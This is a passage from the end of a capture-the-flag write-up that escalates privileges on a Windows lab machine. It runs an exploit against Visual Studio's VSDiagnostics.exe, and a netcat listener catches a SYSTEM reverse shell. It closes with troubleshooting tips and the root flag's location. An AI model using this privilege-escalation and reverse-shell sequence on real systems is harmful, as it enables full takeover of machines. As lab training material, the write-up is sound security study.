c:\exploit\Expl.exe $VSDiagnostics.FullName "c:\exploit\payload.exe"
[+] VSDiagnostics: C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Team Tools\DiagnosticsHub\Collector\VSDiagnostics.exe
[+] Payload: c:\exploit\payload.exe
We get a shell as nt authority/system
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.26] 60924
Microsoft Windows [Versin 10.0.19045.4651]
(c) Microsoft Corporation. Todos los derechos reservados.
C:\ProgramData\Microsoft\VisualStudio\SetupWMI>whoami
whoami
nt authority\system
The Windows Installer Service could not be accessed.
after [+] Payload
line when we execute Expl.exe
, this could mean we have some problems with permissions and this is why it is recommended to run it with RunasCs
(and we will also have to restart the machine 😅).GG. We can get the root flag at Administrator Desktop.
~Happy Hacking.